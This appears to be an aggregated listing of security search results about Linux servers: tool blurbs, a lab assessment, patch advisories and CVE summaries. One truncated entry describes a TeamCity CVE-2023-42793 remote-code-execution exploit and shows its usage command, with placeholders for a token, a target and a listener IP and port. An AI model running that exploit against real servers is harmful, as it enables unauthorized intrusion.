attack_range

Splunk Attack Range v5 The Splunk Attack Range builds instrumented cloud environments AWS, Azure, GCP, simulates attacks, and forwards data into Splunk for detection development and testing. What it does: Build labs — Deploy a small, production-like lab Splunk, Windows/Linux servers, optional Kal...

How-To-Secure-A-Linux-Server

How To Secure A Linux Server An evolving how-to guide for securing a Linux server that, hopefully, also teaches you a little about security and why it matters. Table of Contents Introduction Guide Objective Why Secure Your Server Why Yet Another Guide Other Guides To Do / To Add Guide Overview...

DECEIVE

DECEIVE DECEIVE, el DECeption with Evaluative Integrated Validation Engine , es un sistema honeypot de alta interacción y bajo esfuerzo. A diferencia de la mayoría de los honeypots de alta interacción, DECEIVE no proporciona a los atacantes acceso a ningún sistema real. La IA hace todo el trabajo...

pyfiscan

pyfiscan 关于 Pyfiscan 是一款免费的 Web 应用漏洞与版本扫描工具，可用于定位 Linux 服务器中常见 Web 应用的过期版本。典型用例是托管服务提供商关注其用户的安装情况，以确保安全更新及时跟进。指纹识别易于创建和修改，用户可使用 YAML 语法编写。Pyfiscan 还包含一个利用模板创建电子邮件警报的工具。 要求 Python 3 Python 模块 PyYAML docopt chardet GNU/Linux Web 服务器 测试主要在 GNU/Linux Debian 稳定版上进行。目前不支持 Windows。 可检测以下软件 Abantecart...

CVE-2023-42793

关于 CVE-2023-42793 你需要先使用另一个漏洞获取令牌。不过，下面的这个漏洞利用将允许你在Linux服务器上获得RCE（远程代码执行），因为它将payload编码在URL中并发送给服务器。 如何使用 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

security checks

🔍 Miner Hunter Crypto-miner detection, removal, and hardening toolkit for Linux servers. Built from real-world incident response — detects miners that hide from ps, top, htop, and btop using rootkit techniques. 📦 Installation root@kitploit: git clone...

SecureOps-Lab

SecureOps Lab - 实时网络安全评估 概述 对一台大学 Linux 服务器执行了实时网络安全评估。分析过程中发现了活跃的攻击活动，包括暴力破解认证尝试和针对 Log4Shell CVE-2021-44228 的利用尝试。 “协调 IP”指多个源自同一子网的恶意 IP 地址，表明攻击者使用了共享的攻击基础设施或自动化攻击工具同时对系统进行攻击。 威胁分析与发现 暴力破解攻击 检测到来自单个外部 IP 的 144 次失败的 SSH 登录尝试 模式分析显示认证尝试速度极快，与自动化凭据填充行为一致 Log4Shell 利用尝试 在日志中识别出与 CVE-2021-44228...

[SECURITY] Fedora 43 Update: cockpit-367-1.fc43

The Cockpit Web Console enables users to administer GNU/Linux servers using a web browser. It offers network configuration, log inspection, diagnostic reports, SELinux troubleshooting, interactive command-line sessions, and more...

SUSE SLED15 / SLES15 Security Update : openexr (SUSE-SU-2026:3169-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3169-1 advisory. This update for openexr fixes the following issues - CVE-2026-54920: unchecked integer overflows in...

CVE-2026-52101

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52100

Cross Site Request Forgery vulnerability in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to execute arbitrary code via the uploadPutHandler function...

CVE-2026-47481

NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause an authentication bypass through an alternative path or channel. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data...

CVE-2026-47481

CVE-2026-47481 affects NVIDIA Triton Inference Server for Linux. The vulnerability enables authentication bypass via an alternative path or channel, with potential for code execution, privilege escalation, information disclosure, and data tampering. NVIDIA’s security bulletin indicates remediatio...

CVE-2026-47478

NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause the use of an expired file descriptor. A successful exploit of this vulnerability might lead to denial of service...

CVE-2026-47477

The CVE-2026-47477 entry affects NVIDIA Triton Inference Server for Linux. Root cause: a stack-based buffer overflow in a component used by the server, which can lead to a Denial of Service. Impact: availability loss with attacker-initiated network access (no authentication, no user interaction)....

CVE-2026-52100

Cross Site Request Forgery vulnerability in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to execute arbitrary code via the uploadPutHandler function...

PT-2026-58825

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52101

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52101

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52101

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...